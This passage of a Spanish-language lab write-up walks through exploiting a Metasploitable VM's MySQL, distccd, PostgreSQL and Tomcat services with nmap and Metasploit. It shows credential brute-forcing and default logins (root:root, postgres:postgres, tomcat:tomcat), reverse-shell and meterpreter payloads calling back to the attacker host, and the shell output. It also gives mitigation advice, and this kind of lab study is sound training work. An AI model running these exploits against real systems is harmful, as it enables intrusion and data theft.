  23  exploit/multi/mysql/mysql_udf_payload                     2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
  24  exploit/windows/mysql/mysql_start_up                      2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows
  25  exploit/windows/mysql/mysql_mof                           2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows
  26  exploit/linux/http/pandora_fms_events_exec                2020-06-04       excellent  Yes    Pandora FMS Events Remote Command
  27  auxiliary/analyze/crack_databases                                            normal     No     Password Cracker: Databases
  28  exploit/windows/mysql/scrutinizer_upload_exec             2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFl
  29  auxiliary/admin/http/rails_devise_pass_reset              2013-01-28       normal     No     Ruby on Rails Devise Authentication
  30  auxiliary/admin/tikiwiki/tikidblib                        2006-11-01       normal     No     TikiWiki Information Disclosure
  31  exploit/multi/http/wp_db_backup_rce                       2019-04-24       excellent  Yes    WP Database Backup RCE
  32  exploit/unix/webapp/wp_google_document_embedder_exec      2013-01-03       normal     Yes    WordPress Plugin Google Document E
  33  exploit/multi/http/zpanel_information_disclosure_rce      2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE
```

Muchas veces se recomienda el uso previo de los módulos de escáner en fases de reconocimiento previo para saber exactamente las versiones de los distintos servicios/*softwares*.

Por ejemplo, en este caso, podríamos usar el módulo **auxiliary/scanner/mysql/mysql_version** y lanzarlo para obtener información relativa a la versión de MySQL (que también habíamos conseguido gracias a **nmap**):

```
msf6 auxiliary(scanner/mysql/mysql_version) > run

[+] 192.168.57.132:3306   - 192.168.57.132:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] 192.168.57.132:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Y puesto que esta versión de MySQL es débil o vulnerable en la gestión de credenciales, vamos a utilizar el módulo **auxiliary/scanner/mysql/mysql_login** para realizar un ataque de fuerza bruta.

Estableceremos únicamente las siguientes opciones:

set RHOSTS 192.168.57.132

Escogeremos 2 diccionarios que dispone por defecto Kali Linux:

set PASS_FILE /usr/share/wordlists/metasploit/ipmi_passwords.txt

set USER_FILE /usr/share/wordlists/metasploit/ipmi_users.txt

set STOP_ON_SUCCESS true (en caso de que queramos cortar el proceso ante el primer resultado)

Obtendremos el siguiente *output*:

```
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.57.132:3306   - 192.168.57.132:3306 - Found remote MySQL version 5.0.51a
[!] 192.168.57.132:3306   - No active DB -- Credential data will not be saved!
[-] 192.168.57.132:3306   - 192.168.57.132:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'192.168.57.130' (using password: NO))
[-] 192.168.57.132:3306   - 192.168.57.132:3306 - LOGIN FAILED: root:ADMIN (Incorrect: Access denied for user 'root'@'192.168.57.130' (using password: YES))
[-] 192.168.57.132:3306   - 192.168.57.132:3306 - LOGIN FAILED: root:admin (Incorrect: Access denied for user 'root'@'192.168.57.130' (using password: YES))
[-] 192.168.57.132:3306   - 192.168.57.132:3306 - LOGIN FAILED: root:calvin (Incorrect: Access denied for user 'root'@'192.168.57.130' (using password: YES))
[-] 192.168.57.132:3306   - 192.168.57.132:3306 - LOGIN FAILED: root:PASSW0RD (Incorrect: Access denied for user 'root'@'192.168.57.130' (using password: YES))
[+] 192.168.57.132:3306   - 192.168.57.132:3306 - Success: 'root:root'
[*] 192.168.57.132:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

“Succes: 'root:root'

Y ahora que disponemos de credenciales de acceso, podríamos utilizar el siguiente módulo:

auxiliary/admin/mysql/mysql_sql (con el que podremos lanzar instrucciones a la base de datos de MySQL del sistema objetivo).

Estableceremos las siguientes opciones:

set password root

set username root

set RHOSTS 192.168.57.132

set SQL show databases; (esto es una demostración de que podemos utilizar cualquiera de los comandos que queramos; en este caso, queremos ver las bases de datos que tiene Metasploitable 1).

```
msf6 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 192.168.57.132

[*] 192.168.57.132:3306 - Sending statement: 'show databases;' ...
[*] 192.168.57.132:3306 -  | information_schema |
[*] 192.168.57.132:3306 -  | mysql |
[*] 192.168.57.132:3306 -  | tikiwiki |
[*] 192.168.57.132:3306 -  | tikiwiki195 |
[*] Auxiliary module execution completed
```

Mitigación:

Siguiendo el sentido común, las recomendaciones giran en torno a actualizar las contraseñas y las bases de datos de las mismas; se deberían seguir las recomendaciones más generales sobre la creación de contraseñas para dificultar al máximo posible los ataques de fuerza bruta (muchos caracteres, inclusión de números, mayúsculas, minúsculas, etc.).

A parte, siempre vamos a necesitar instalar las últimas versiones de los sistemas gestores de bases de datos que estemos usando.

Al igual que pasa con el servicio de PostgreSQL, no deberíamos dejar abierto el puerto 3306 en ningún caso, por ser uno de los que gestiona la información manejada por el sistema gestor de bases de datos MySQL.

Puerto 3632 – distccd : distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

```
┌──(root㉿kali)-[~]
└─# nmap -p 3632 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 12:40 EDT
Nmap scan report for 192.168.57.132
Host is up (0.00036s latency).

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 192.168.57.132
```

Descripción:

Distcc es un programa diseñado para distribuir tareas de compilación a través de la red hacia máquinas participantes. Consiste en un servidor, **distccd**, y un programa cliente, **distcc**.

La vulnerabilidad más conocida es **DistCC Daemon Command Execution (CVE2004-2687)**.

Impacto:

Esta configuración permite ejecutar comandos a través de trabajos de compilación, que son ejecutados por el servidor sin autorización. Por tanto, nos encontramos con una vulnerabilidad que permite al atacante realizar una ejecución remota de código, aunque en este caso, con escasos permisos, puesto que no se alcanza el rol de administrador.

La criticidad será baja-media al no alcanzar los permisos de mayor grado.

Explotación:

Nos serviremos de Metasploit, puesto que ya tiene integrado el módulo que nos permite explotar la vulverabilidad comentada.

exploit/unix/misc/distcc_exec

Sólo deberemos determinar el *host* y el *payload*:

set RHOSTS 192.168.57.132

set payload cmd/unix/reverse

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 192.168.57.130:4444
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo V16Ao46ZhCLEnGXS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "V16Ao46ZhCLEnGXS\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.57.130:4444 → 192.168.57.132:46725) at 2023-03-12 13:41:43 -0400
```

Y ya podremos ejecutar comandos de forma remota:

```
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
whoami
daemon
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
ls
ls
5461.jsvc_up  Hola  cache2r9f40jar  cache2r9f41jar
daemon@metasploitable:/tmp$ mkdir Hacked
mkdir Hacked
daemon@metasploitable:/tmp$ ls
ls
5461.jsvc_up  Hacked  Hola  cache2r9f40jar  cache2r9f41jar
daemon@metasploitable:/tmp$
```

Mitigación:

Esta vulnerabilidad fue parcheada largo tiempo atrás, pero debido a las escasas y pobres configuraciones del servicio (que muchas veces se dejan por defecto tras la instalación), sigue estando muy presente en implementaciones actuales. Por ello, deberíamos actualizar el servicio distcc a la última versión lanzada o a alguna que comprobemos que no tiene esta vulnerabilidad, proteger el sistema con un cortafuegos que bloquee el acceso al puerto 3632 y se podría llegar a realizar un análisis en busca de virus o *malware* que pudieran aprovechar la explotación correspondiente.

Puerto 5432 – postgresql : PostgreSQL DB 8.3.0-8.3.7

```
┌──(root㉿kali)-[~]
└─# nmap -p 5432 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 20:31 EST
Nmap scan report for 192.168.57.132
Host is up (0.00040s latency).

PORT     STATE SERVICE    VERSION
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2023-03-11T22:44:37+00:00; -2h46m52s from scanner time.
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
|_clock-skew: -2h46m52s

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 192.168.57.132
```

Descripción:

PostgreSQL, también llamado **Postgres**, es otro sistema de gestión de bases de datos relacional orientado a objetos y de código abierto, publicado bajo la licencia PostgreSQL.

Postgres tiene reportadas varias vulnerabilidades: las más destacadas serían aquellas relacionadas con el uso de credenciales por defecto débiles (susceptible a ataques de fuerza bruta), escala de privilegios y ataques de inyección SQL, entre otras.

Impacto:

Al igual que con MySQL, un atacante que localizara esta versión de Postgres en nuestro sistema podría poner en entredicho la confidencialidad de la información de las bases de datos, podría tomar el control de éstas y realizar los cambios que se le ocurrieran y podría modificar/eliminar todo aquel contenido al que tuviera acceso.

Explotación:

Metasploit nos brinda 2 formas distintas de vulnerar la seguridad de esta versión de Postgres.

Como siempre, podemos empezar utilizando el comando **search postgres** para observar los distintos módulos que tenemos a nuestra disposición.

```
msf6 > search postgres

Matching Modules
================

  #   Name                                                    Disclosure Date  Rank       Check  Description
  -   ----                                                    ---------------  ----       -----  -----------
  0   auxiliary/server/capture/postgresql                                      normal     No     Authentication Capture: PostgreSQL
  1   post/linux/gather/enum_users_history                                     normal     No     Linux Gather User History
  2   exploit/multi/http/manage_engine_dc_pmp_sqli            2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkView
  3   exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11       manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
  4   auxiliary/admin/http/manageengine_pmp_privesc           2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.
  5   auxiliary/analyze/crack_databases                                        normal     No     Password Cracker: Databases
  6   exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20    excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
  7   exploit/multi/postgres/postgres_createlang              2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
  8   auxiliary/scanner/postgres/postgres_dbname_flag_injection                normal     No     PostgreSQL Database Name Command Line Flag Injection
  9   auxiliary/scanner/postgres/postgres_login                                normal     No     PostgreSQL Login Utility
  10  auxiliary/admin/postgres/postgres_readfile                               normal     No     PostgreSQL Server Generic Query
  11  auxiliary/admin/postgres/postgres_sql                                    normal     No     PostgreSQL Server Generic Query
  12  auxiliary/scanner/postgres/postgres_version                              normal     No     PostgreSQL Version Probe
  13  exploit/linux/postgres/postgres_payload                 2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
  14  exploit/windows/postgres/postgres_payload               2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
  15  auxiliary/scanner/postgres/postgres_hashdump                             normal     No     Postgres Password Hashdump
  16  auxiliary/scanner/postgres/postgres_schemadump                           normal     No     Postgres Schema Dump
  17  auxiliary/admin/http/rails_devise_pass_reset            2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
```

No encontraremos demasiados módulos de *exploit*, pero sí podremos usar el *payload* del módulo **exploit/linux/postgres/postgres_payload**.

Este *payload* nos permitirá realizar ejecución remota de código y nos establecerá una conexión *meterpreter* que nos permitirá, precisamente, ejecutar el código que más nos convenga para cumplir con nuestros objetivos de ataque.

```
Description:
  On some default Linux installations of PostgreSQL, the postgres
  service account may write to the /tmp directory, and may source UDF
  Shared Libraries from there as well, allowing execution of arbitrary
  code. This module compiles a Linux shared object file, uploads it to
  the target host via the UPDATE pg_largeobject method of binary
  injection, and creates a UDF (user defined function) from that
  shared object. Because the payload is run as the shared object's
  constructor, it does not need to conform to specific Postgres API
  versions.
```

Estableceremos los siguientes parámetros:

set RHOSTS 192.168.57.132 (la máquina objetivo)

set LHOST 192.168.57.130 (nuestra propia máquina)

show targets ---> **set TARGET 0** (escogemos x86 o Linux x68_64)

Y lo lanzamos como es habitual con el comando **run** o **exploit**, abriéndose el *meterpreter* y quedando a nuestro libre albedrío qué hacer con este acceso al sistema que acabamos de obtener:

```
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > ls
Listing: /var/lib/postgresql/8.3/main
=====================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  4     fil   2010-03-17 10:08:46 -0400  PG_VERSION
040700/rwx------  4096  dir   2010-03-17 10:08:56 -0400  base
040700/rwx------  4096  dir   2023-03-11 19:50:44 -0500  global
040700/rwx------  4096  dir   2010-03-17 10:08:49 -0400  pg_clog
040700/rwx------  4096  dir   2010-03-17 10:08:46 -0400  pg_multixact
040700/rwx------  4096  dir   2010-03-17 10:08:49 -0400  pg_subtrans
040700/rwx------  4096  dir   2010-03-17 10:08:46 -0400  pg_tblspc
040700/rwx------  4096  dir   2010-03-17 10:08:46 -0400  pg_twophase
040700/rwx------  4096  dir   2010-03-17 10:08:49 -0400  pg_xlog
100600/rw-------  125   fil   2023-03-11 10:07:00 -0500  postmaster.opts
100600/rw-------  54    fil   2023-03-11 10:07:00 -0500  postmaster.pid
100644/rw-r--r--  540   fil   2010-03-17 10:08:45 -0400  root.crt
100644/rw-r--r--  1224  fil   2010-03-17 10:07:45 -0400  server.crt
100640/rw-r-----  891   fil   2010-03-17 10:07:45 -0400  server.key

meterpreter > pwd
/var/lib/postgresql/8.3/main
meterpreter > whoami
[-] Unknown command: whoami
```

También podemos utilizar el mismo método empleado para MySQL, consistente en un ataque de fuerza bruta para encontrar las credenciales y poder, posteriormente, ejecutar comandos desde una consola de Postgres.

El módulo, en esta ocasión, sería el **auxiliary/scanner/postgres/postgres_login**.

Como el procedimiento es exactamente el mismo que en el puerto anterior, no comparto capturas de pantalla al respecto. Acabaremos encontrando el usuario 'postgres' con contraseña 'postgres'.

Y con estas credenciales podremos conectarnos directamente con el sistema gestor de bases de datos y lanzar comandos en el lenguaje PostgreSQL para realizar diversas acciones:

Con el siguiente comando nos conectaremos:

psql -h 192.168.57.132 -U postgres

pondremos la contraseña 'postgres' también y se nos abrirá la consola:

```
postgres=# \l
ERROR:  column d.datcollate does not exist
LINE 4:        d.datcollate as "Collate",
               ^
postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit
postgres=# \h
Available help:
  ABORT                      ALTER SYSTEM               CREATE FOREIGN DATA WRAPPER  CREATE USER MAPPING      DROP ROUTINE                 NOTIFY
  ALTER AGGREGATE            ALTER TABLE                CREATE FOREIGN TABLE         CREATE VIEW             DROP RULE                    PREPARE
  ALTER COLLATION            ALTER TABLESPACE           CREATE FUNCTION              DEALLOCATE              DROP SCHEMA                  PREPARE TRANSACTION
  ALTER CONVERSION           ALTER TEXT SEARCH CONFIGURATION CREATE GROUP            DECLARE                 DROP SEQUENCE                REASSIGN OWNED
  ALTER DATABASE             ALTER TEXT SEARCH DICTIONARY CREATE INDEX               DELETE                  DROP SERVER                  REFRESH MATERIALIZED VIEW
  ALTER DEFAULT PRIVILEGES   ALTER TEXT SEARCH PARSER   CREATE LANGUAGE              DISCARD                 DROP STATISTICS              REINDEX
  ALTER DOMAIN               ALTER TEXT SEARCH TEMPLATE CREATE MATERIALIZED VIEW     DO                      DROP SUBSCRIPTION            RELEASE SAVEPOINT
  ALTER EVENT TRIGGER        ALTER TRIGGER              CREATE OPERATOR              DROP ACCESS METHOD      DROP TABLE                   RESET
  ALTER EXTENSION            ALTER TYPE                 CREATE OPERATOR CLASS        DROP AGGREGATE          DROP TABLESPACE              REVOKE
  ALTER FOREIGN DATA WRAPPER ALTER USER                 CREATE OPERATOR FAMILY       DROP CAST               DROP TEXT SEARCH CONFIGURATION ROLLBACK
  ALTER FOREIGN TABLE        ALTER USER MAPPING         CREATE POLICY                DROP COLLATION          DROP TEXT SEARCH DICTIONARY  ROLLBACK PREPARED
  ALTER FUNCTION             ALTER VIEW                 CREATE PROCEDURE             DROP CONVERSION         DROP TEXT SEARCH PARSER      ROLLBACK TO SAVEPOINT
  ALTER GROUP                ANALYZE                    CREATE PUBLICATION           DROP DATABASE           DROP TEXT SEARCH TEMPLATE    SAVEPOINT
  ALTER INDEX                BEGIN                      CREATE ROLE                  DROP DOMAIN             DROP TRANSFORM               SECURITY LABEL
  ALTER LANGUAGE             CALL                       CREATE RULE                  DROP EVENT TRIGGER      DROP TRIGGER                 SELECT
  ALTER LARGE OBJECT         CHECKPOINT                 CREATE SCHEMA                DROP EXTENSION          DROP TYPE                    SELECT INTO
  ALTER MATERIALIZED VIEW    CLOSE                      CREATE SEQUENCE              DROP FOREIGN DATA WRAPPER DROP USER                  SET
  ALTER OPERATOR             CLUSTER                    CREATE SERVER                DROP FOREIGN TABLE      DROP USER MAPPING            SET CONSTRAINTS
  ALTER OPERATOR CLASS       COMMENT                    CREATE STATISTICS            DROP FUNCTION           DROP VIEW                    SET ROLE
  ALTER OPERATOR FAMILY      COMMIT                     CREATE SUBSCRIPTION          DROP GROUP              END                          SET SESSION AUTHORIZATION
  ALTER POLICY               COMMIT PREPARED            CREATE TABLE                 DROP INDEX              EXECUTE                      SET TRANSACTION
  ALTER PROCEDURE            COPY                       CREATE TABLE AS              DROP LANGUAGE           EXPLAIN                      SHOW
  ALTER PUBLICATION          CREATE ACCESS METHOD       CREATE TABLESPACE            DROP MATERIALIZED VIEW  FETCH                        START TRANSACTION
  ALTER ROLE                 CREATE AGGREGATE           CREATE TEXT SEARCH CONFIGURATION DROP OPERATOR       GRANT                        TABLE
  ALTER ROUTINE              CREATE CAST                CREATE TEXT SEARCH DICTIONARY DROP OPERATOR CLASS    IMPORT FOREIGN SCHEMA        TRUNCATE
  ALTER RULE                 CREATE COLLATION           CREATE TEXT SEARCH PARSER    DROP OPERATOR FAMILY    INSERT                       UNLISTEN
  ALTER SCHEMA               CREATE CONVERSION          CREATE TEXT SEARCH TEMPLATE  DROP OWNED              LISTEN                       UPDATE
  ALTER SEQUENCE             CREATE DATABASE            CREATE TRANSFORM             DROP POLICY             LOAD                         VACUUM
  ALTER SERVER               CREATE DOMAIN              CREATE TRIGGER               DROP PROCEDURE          LOCK                         VALUES
  ALTER STATISTICS           CREATE EVENT TRIGGER       CREATE TYPE                  DROP PUBLICATION        MERGE                        WITH
  ALTER SUBSCRIPTION         CREATE EXTENSION           CREATE USER                  DROP ROLE               MOVE
postgres=#
```

Mitigación:

Las recomendaciones que deberíamos seguir, como en el caso anterior, serían actualizar a la última versión posible de PostgreSQL y reciclar todas aquellas contraseñas débiles o por defecto que dejamos tras las instalaciones iniciales y usar combinaciones de caracteres, números y símbolos largas. Se recomienda, además, no tener abierto públicamente el puerto 5432 en ningún caso (o aquél que hayamos configurado para ejecutar el servicio de PostgreSQL).

Puerto 8009 – ajp13 : Apache Jserv (Protocol v1.3)

```
┌──(root㉿kali)-[~]
└─# nmap -p 8009 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 23:19 EST
Nmap scan report for 192.168.57.132
Host is up (0.00048s latency).

PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.48 ms 192.168.57.132
```

En este caso, las referencias que he encontrado por Internet no me han permitido explotar alguna vulnerabilidad relacionada con este puerto o el servicio Apache Jserv.

La documentación o algunos usuarios reportan usar Ghoscat, pero no he tenido los conocimientos suficientes para seguir los pasos que relataban.

Puerto 8180 – http : Apache Tomcat/Coyote JSP engine 1.1

```
┌──(root㉿kali)-[~]
└─# nmap -p 8180 -sV -A -T4 192.168.57.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 07:38 EDT
Nmap scan report for 192.168.57.132
Host is up (0.00059s latency).

PORT     STATE SERVICE VERSION
8180/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
MAC Address: 00:0C:29:C8:CB:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.57.132
```

Descripción:

Apache es un servidor web HTTP de código abierto, para plataformas Unix (BSD, GNU/Linux, etc), Microsoft Windows, Macintosh y otras, que implementa el protocolo HTTP/1.1. Pese a que actualmente su cota de uso está descendiendo, ha sido uno de los servidores web más utilizados (sin ir más lejos, en 2005 era utilizado por el 70% de los sitios webs en el mundo).

Apache Tomcat (también llamado Jakarta Tomcat o simplemente Tomcat) funciona como un contenedor de *servlets* desarrollado bajo el proyecto Jakarta en la Apache Software Foundation. Tomcat implementa las especificaciones de los *servlets* y de JavaServer Pages (JSP) de Oracle Corporation.

Un **servlet** es una clase en el lenguaje de programación de Java, utilizada para ampliar las capacidades de un servidor. Aunque los *servlets* pueden responder a cualquier tipo de solicitudes, estos son utilizados comúnmente para extender las aplicaciones alojadas por servidores web, de tal manera que puede ser visto como *applets* (pequeños programas que se ejecutan en el contexto de un navegador web) de Java que se ejecutan en servidores en vez de navegadores web. El uso más común de los *servlets* es generar páginas web de forma dinámica a partir de los parámetros de la petición que envíe el navegador web.

Se han reportado numerosas vulnerabilidades en versiones antiguas de Apache Tomcat: denegación de servicio, escalamiento de privilegios de forma local, revelación o divulgación de información, debilidades en la autenticación, ejecución remota de código, etc.

En la propia web de Apache Tomcat recogen una gran cantidad de vulnerabilidades y las correcciones que se han llevado a cabo (*https://tomcat.apache.org/security*)

Impacto:

Desde el punto de vista de un defensor, una denegación de servicio tiene un impacto muy grave en cualquier compañía u organización.

En el siguiente apartado, se detallará la forma de ejecutar remotamente código mediante un *meterpreter* y de obtener un usuario y contraseña determinado, con permisos simples de usuario. Este tipo de explotaciones de sistemas tienen una gravedad bastante inferior a la DoS, pero pueden

comprometer información sensible y puede tener cierta repercusión legal en algunos supuestos.

Explotación:

Se ha encontrado un modo de explotar una vulnerabilidad en Apache Tomcat para abrir una conexión *meterpreter* y poder ejecutar remotamente comandos, aunque con permisos de *user* (Tomcat). De este modo, tenemos acceso a determinada información que, de otro modo, tal vez no conseguiríamos.

Para ello, hacemos uso del *Framework* de Metasploit y filtrando por Apache Tomcat encontramos primeramente el módulo **auxiliary/admin/http/tomcat_administration**.

Con este módulo podemos obtener fácilmente un nombre de usuario y su contraseña por defecto, detectando la interfaz de administración del propio Tomcat.

```
Description:
  Detect the Tomcat administration interface. The administration
  interface is included in versions 5.5 and lower. Port 8180 is the
  default for FreeBSD, 8080 for all others.
```

Establecemos el *host* correspondiente en cada caso y lo lanzamos:

```
msf6 auxiliary(admin/http/tomcat_administration) > run

[*] http://192.168.57.132:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Obtenemos el usuario tomcat y la contraseña tomcat.

Con estas credenciales somos capaces de explotar un módulo que también nos ofrece Metasploit: **exploit/multi/http/tomcat_mgr_deploy**.

Usará por defecto el payload **java/meterpreter/reverse_tcp**.

```
Description:
  This module can be used to execute a payload on Apache Tomcat
  servers that have an exposed "manager" application. The payload is
  uploaded as a WAR archive containing a jsp application using a PUT
  request. The manager application can also be abused using
  /manager/html/upload, but that method is not implemented in this
  module. NOTE: The compatible payload sets vary based on the selected
  target. For example, you must select the Windows target to use
  native Windows payloads.
```

Cómo vemos se sirve de una vulnerabilidad de la aplicación/interfaz de administración.

Estableceremos las opciones necesarias para lanzar el exploit:

set RHOSTS 192.168.57.132

set HttpPassword tomcat

set HttpUsername tomcat

set rport 8180

```
rport => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > run

[*] Started reverse TCP handler on 192.168.57.130:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6233 bytes as IaobFbRSpLAFBUmALlW1B0GY.war ...
[*] Executing /IaobFbRSpLAFBUmALlW1B0GY/Tx1kkaAw7mz0PTfEiO7cT4ep9j4g0eW.jsp ...
[*] Undeploying IaobFbRSpLAFBUmALlW1B0GY ...
[*] Sending stage (58829 bytes) to 192.168.57.132
[*] Meterpreter session 1 opened (192.168.57.130:4444 -> 192.168.57.132:48272) at 2023-03-12 10:31:25 -0400

meterpreter > id
[-] Unknown command: id
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
whoaim
/bin/sh: whoaim: not found
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir Hello
mkdir: cannot create directory `Hello': Permission denied
```

Hay que destacar que no se consiguen permisos de *root*.

Mitigación:

Las recomendaciones más habituales hacia los administradores son que apliquen las actualizaciones de software tan pronto como sea posible y se les recomienda permitir sólo a los usuarios de confianza tener acceso a la red y monitorear los sistemas afectados por algún tipo de vulnerabilidad. De forma más específica, se recomienda:

- Cambiar el puerto del Tomcat por uno menos común o más seguro, como el 8443, que usa el protocolo HTTPS.
- Ocultar el puerto del Tomcat en la URL usando un proxy inverso con Apache Web Server.
- Restringir el acceso al puerto del Tomcat sólo desde direcciones IP autorizadas usando el firewall del sistema.
- Revisar la configuración de puerto del Tomcat para evitar conflictos con otros servidores de aplicaciones.